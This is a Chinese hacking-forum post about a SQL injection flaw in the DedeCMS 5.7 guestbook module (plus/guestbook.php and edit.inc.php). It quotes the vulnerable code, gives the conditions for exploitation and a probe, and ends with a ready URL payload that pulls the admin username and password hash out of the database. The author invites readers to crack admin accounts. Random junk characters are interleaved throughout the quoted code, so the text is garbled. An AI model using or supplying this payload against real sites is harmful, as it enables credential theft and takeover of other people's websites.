找回密码
 立即注册
查看: 4692|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7! u1 ^+ o6 @9 j8 A, A2 ]
% n5 T# f! U  o& f5 \: ~4 D' m) {$ P
漏洞文件edit.inc.php具体代码:
0 L) o6 _9 {" z7 F; ^$ c7 Y2 G+ B* V
< ?php  6 }4 F+ X; E- }; M

/ h1 ]4 \- Y  H2 U% x- [% P7 U8 mif(!defined('DEDEINC')) exit('Request Error!');  " Y) ]+ A* l/ V' a

( `. e5 u% \( \   ! G9 [9 u9 N: K1 ?

3 j  o  f/ X/ d) C. pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  8 D- y# s- N; ?8 E; y+ A+ z& n
' }: K9 S( t; @. o1 T" K0 \0 C" B. L
else $GUEST_BOOK_POS = "guestbook.php";  
3 J( ~, V+ q/ g9 X9 T5 H" {/ B0 Y8 M; H9 ]( [0 L" h, \( u# b' a3 u- I
   8 y9 H' |& X7 M" n, r  P: a4 M
5 q' u$ T1 R7 E4 s: ^- V9 h
$id = intval($id);  
6 A% z2 W& J/ h0 I2 j/ O! P
+ Q5 Y3 ~) T1 ~' e4 Jif(empty($job)) $job='view';  
6 a- P: V# ~3 p
/ q8 H. q* M6 z, Q/ Q3 j   4 B& p0 j) i& y. k; S7 u6 x

  v5 P! y) H; ~, |" _7 Vif($job=='del' && $g_isadmin)  
% I9 f/ z2 U, {+ p/ X' z. T9 q1 k- P
' O; |6 X" Y. i' w* V0 U{  
& z0 `% c3 \: k; M) e; d! r# H5 w
1 z/ W5 K" w2 N% Z" g0 G1 T' i1 f$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  6 p' z# u. v5 L' x% M& c
) X: n8 N  N2 C# k. Z
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  2 l: n& @  K% Z  T4 m9 J( `+ p0 i8 T
. ~9 w: F+ x4 i* i6 }! y
exit();  
3 K8 J: @, f8 }8 R2 F; h/ @2 c( d; }& j# b5 [$ R
}  
( l; y" n7 e+ `
* m5 W* z- W% `  pelse if($job=='check' && $g_isadmin)  - C' r, Z' n: l. Z) Q5 I
, K$ `! ]" Q: b' X
{  
) h& I' c+ G/ L# H
: x  E9 @$ Q6 F$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  4 {" b! H: T9 q. c; J

$ L0 Y* K  L" @+ kShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  # h+ H6 P) \% j" p

0 S0 l1 m6 g7 |, xexit();  
4 ]6 Q/ B$ u2 E2 L4 A1 F
1 z8 k$ u6 k0 @! B; Q}  # O$ \  [/ a8 M0 y
, |  |' A2 j/ ]' A, }% ?* R" D7 B
else if($job=='editok')  
' F9 f* i. S7 B* ?+ \6 I# ]/ t
' A1 L$ }, A" f- e! _) M3 A{  ; h5 ]3 q2 y  B0 V" \. Y! L
7 J+ Z# w/ R, w9 S( P+ h
$remsg = trim($remsg);  / y7 A  x7 {3 Q/ `& U
  g: f, ^1 a5 n1 f. `; l1 k7 M
if($remsg!='')  . {: y9 K" \9 y+ \
" w- {6 R- n) M1 W
{  ' L; K. ]4 W  K* |+ w
+ W( S! t$ p3 X! ^4 h
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
8 z4 m. C3 e3 K3 z2 ~1 y
; z. a' S* v/ A8 @if($g_isadmin)  
; m7 R5 l4 L0 e4 d4 K. O
+ _8 X* `1 x) R$ U" f& R' @0 l{  $ F- k" t7 `' G; H" {) \& A* |
& S, E+ X7 @7 X, x4 U* _6 p
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  + R: x' ^  \- o" k
; t8 I7 u2 q" u: W
//$remsg <br /><font color=red>管理员回复:</font> }  
5 w0 T$ H8 K, _8 [* p, ?' `
* j" E. M  f0 L9 w% y- Welse 6 b% h) e" W/ f6 s, j
! S- ~& t' ~# h" ?
{  
( Y+ E. l9 \! M9 o' c
; g+ J0 x  ~- z% w' h* e$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  $ \/ u9 d( {( n
: A6 |: N6 t; \7 D, W* {$ {
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
% {  _# w+ S! Q0 j+ O" u
1 w& q* ^: T, L7 Z* h$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  2 g5 T+ C/ Z1 |, |

2 Y/ ], M( ], T  X. q8 d; ?$msg = $oldmsg.$remsg;  
, W8 }* G& g" h' {. L5 }" p- t/ s( x+ C- K- _
}  
# l& r2 d, U- L) w3 b. o2 F* M0 u7 C0 _3 p! g5 r- b
}  
9 m  Q$ s, B1 R6 d" b& P; d$ c$ R! b( |- I% S8 k. S
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
* O; V  e4 E! Y0 I
, j) \  r2 Z' }4 I5 A$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  6 O/ f  k% g$ t# R- Q

' ?* e; Y4 b8 E" g6 B. k3 K9 h, DShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
4 c+ u% h7 F% _, P, _: J, \2 G7 z
exit();  
: s' x7 Z5 J9 n+ P8 Z2 @
0 w% [$ t8 v2 k5 t+ f- V}  
4 }' h" U' l0 S) d& X! F, g- j1 \. j; v7 d
//home:www.errs.cc  ' U! h* _3 ^9 e3 u$ |( N
2 h: R. i% N  t8 X
if($g_isadmin)  
& ^+ y  Q( T9 @  o5 J
7 l% A: _  F* s% @{  
, l3 A( R' s' K& l* W$ ]5 B6 F2 Y
; e  i/ V: Q0 z( D, v- A$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
+ E# F5 g* N* a! c( _1 z6 f3 a( \/ M, k+ C& L9 P
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ; z" ^. C, |' G! t

  y% g" D% g/ F% Y' I5 H# y}  ' U3 t5 }# e$ n& \4 R
# r, Z6 L! r- F+ H( B4 M
else
1 a6 a. E; \# M" u, X% ]
" y7 M* [4 q  ^& ~' K+ [6 `7 r; Y{  
$ L9 M8 d# d" p: a% @0 R8 N+ d6 ^) a8 }: q
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  " [* G+ H( {8 E/ J4 ~
$ g) A$ n' f" p  g2 o, |' e8 E
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  6 _/ Q6 q, e* i' a- ~- `  I( E

" q6 s2 k) E1 I: i/ W} 漏洞成功需要条件:
) p) |4 ~' ]$ O1. php magic_quotes_gpc=off) `/ O5 _- v; |$ ~
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。; K1 M1 @: N) T$ p; m, M& y
% ~- S  T* J1 H. G9 {! s9 `, \
怎么判断是否存在漏洞:
6 @' X$ [  ~1 @1 \5 n先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,; T  j* v3 ~. Q% |6 X8 ?; W
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
$ j& Y1 \/ r2 e3 A* C& N  T5 c访问:
2 m1 [( k- O+ B& v9 A. m8 Z! X  K1 z1 ^: x* b: ]: @
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
6 L) n' h. {4 _+ }2 _* W跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
( W( B2 ?3 O9 }, P4 H0 f  O1 A8 k2 Z2 H( u

2 e; U, ]( a; l% O8 \0 F明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
6 J# f! o" I, ]; W4 a% ~如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。* r6 d& L- r" W
那么再次访问, a  J! D2 [9 ?; t$ [5 v
3 Z- R* H3 \, Z1 R( ?1 `
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 G$ d3 e) F0 L
, l* j1 `) @7 Q# Z- x9 ]大概利用就是这样,大家有兴趣的多研究下!!( z( o; A/ P3 C8 h" t& J+ A
' C1 e3 I6 [/ v* Y8 r
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
; Y( H7 \( R5 v4 N  R
3 N3 }8 X! E5 U/ ?- fview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表